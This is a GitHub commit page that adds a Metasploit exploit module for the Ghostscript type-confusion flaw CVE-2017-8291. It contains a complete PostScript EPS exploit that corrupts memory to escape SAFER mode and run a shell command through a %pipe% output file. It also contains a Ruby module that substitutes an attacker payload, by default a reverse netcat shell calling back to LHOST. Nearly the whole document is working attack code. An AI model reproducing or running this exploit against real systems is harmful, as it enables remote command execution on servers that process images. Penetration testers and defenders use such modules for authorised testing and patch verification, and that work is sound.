Skip to content

Commit dcf74b0

Browse files
committed
Land rapid7#8316, Ghostscript CVE-2017-8291 module
2 parents 2ab7a42 + afc804f commit dcf74b0

File tree

2 files changed

+176
-0
lines changed

2 files changed

+176
-0
lines changed

data/exploits/CVE-2017-8291/msf.eps

Lines changed: 101 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
%!PS-Adobe-3.0 EPSF-3.0
2+
%%BoundingBox: -0 -0 100 100
3+
4+
5+
/size_from 10000 def
6+
/size_step 500 def
7+
/size_to 65000 def
8+
/enlarge 1000 def
9+
10+
%/bigarr 65000 array def
11+
12+
0
13+
size_from size_step size_to {
14+
pop
15+
1 add
16+
} for
17+
18+
/buffercount exch def
19+
20+
/buffersizes buffercount array def
21+
22+
23+
0
24+
size_from size_step size_to {
25+
buffersizes exch 2 index exch put
26+
1 add
27+
} for
28+
pop
29+
30+
/buffers buffercount array def
31+
32+
0 1 buffercount 1 sub {
33+
/ind exch def
34+
buffersizes ind get /cursize exch def
35+
cursize string /curbuf exch def
36+
buffers ind curbuf put
37+
cursize 16 sub 1 cursize 1 sub {
38+
curbuf exch 255 put
39+
} for
40+
} for
41+
42+
43+
/buffersearchvars [0 0 0 0 0] def
44+
/sdevice [0] def
45+
46+
enlarge array aload
47+
48+
{
49+
.eqproc
50+
buffersearchvars 0 buffersearchvars 0 get 1 add put
51+
buffersearchvars 1 0 put
52+
buffersearchvars 2 0 put
53+
buffercount {
54+
buffers buffersearchvars 1 get get
55+
buffersizes buffersearchvars 1 get get
56+
16 sub get
57+
254 le {
58+
buffersearchvars 2 1 put
59+
buffersearchvars 3 buffers buffersearchvars 1 get get put
60+
buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
61+
} if
62+
buffersearchvars 1 buffersearchvars 1 get 1 add put
63+
} repeat
64+
65+
buffersearchvars 2 get 1 ge {
66+
exit
67+
} if
68+
%(.) print
69+
} loop
70+
71+
.eqproc
72+
.eqproc
73+
.eqproc
74+
sdevice 0
75+
currentdevice
76+
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
77+
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
78+
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
79+
put
80+
81+
82+
buffersearchvars 0 get array aload
83+
84+
sdevice 0 get
85+
16#3e8 0 put
86+
87+
sdevice 0 get
88+
16#3b0 0 put
89+
90+
sdevice 0 get
91+
16#3f0 0 put
92+
93+
94+
currentdevice null false mark /OutputFile (%pipe%echo vulnerable > /dev/tty)
95+
.putdeviceparams
96+
1 true .outputpage
97+
.rsdparams
98+
%{ } loop
99+
0 0 .quit
100+
%asdf
101+
Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit
7+
8+
Rank = ExcellentRanking
9+
10+
include Msf::Exploit::FILEFORMAT
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'Ghostscript Type Confusion Arbitrary Command Execution',
15+
'Description' => %q{
16+
This module exploits a type confusion vulnerability in Ghostscript that can
17+
be exploited to obtain arbitrary command execution. This vulnerability affects
18+
Ghostscript version 9.2.1 and earlier and can be exploited through libraries
19+
such as ImageMagick and Pillow.
20+
},
21+
'Author' => [
22+
'Atlassian Security Team', # Vulnerability discovery
23+
'hdm' # Metasploit module
24+
],
25+
'References' => [
26+
%w{CVE 2017-8291},
27+
%w{URL https://bugs.ghostscript.com/show_bug.cgi?id=697808},
28+
%w{URL http://seclists.org/oss-sec/2017/q2/148},
29+
%w{URL https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=04b37bbce174eed24edec7ad5b920eb93db4d47d},
30+
%w{URL https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=4f83478c88c2e05d6e8d79ca4557eb039354d2f3}
31+
],
32+
'DisclosureDate' => 'Apr 27 2017',
33+
'License' => MSF_LICENSE,
34+
'Platform' => 'unix',
35+
'Arch' => ARCH_CMD,
36+
'Privileged' => false,
37+
'Payload' => {
38+
'BadChars' => "\x22\x27\x5c)(", # ", ', \, (, and )
39+
'Compat' => {
40+
'PayloadType' => 'cmd cmd_bash',
41+
'RequiredCmd' => 'generic netcat bash-tcp'
42+
}
43+
},
44+
'Targets' => [
45+
['EPS file', template: 'msf.eps']
46+
],
47+
'DefaultTarget' => 0,
48+
'DefaultOptions' => {
49+
'PAYLOAD' => 'cmd/unix/reverse_netcat',
50+
'LHOST' => Rex::Socket.source_address,
51+
'DisablePayloadHandler' => false,
52+
'WfsDelay' => 9001
53+
}
54+
))
55+
56+
register_options([
57+
OptString.new('FILENAME', [true, 'Output file', 'msf.eps'])
58+
])
59+
end
60+
61+
# Example usage from the bug tracker:
62+
# $ gs -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f exploit2.eps
63+
64+
def exploit
65+
file_create(template.sub('echo vulnerable > /dev/tty', payload.encoded))
66+
end
67+
68+
def template
69+
::File.read(File.join(
70+
Msf::Config.data_directory, 'exploits', 'CVE-2017-8291',
71+
target[:template]
72+
))
73+
end
74+
75+
end

0 commit comments

Comments
 (0)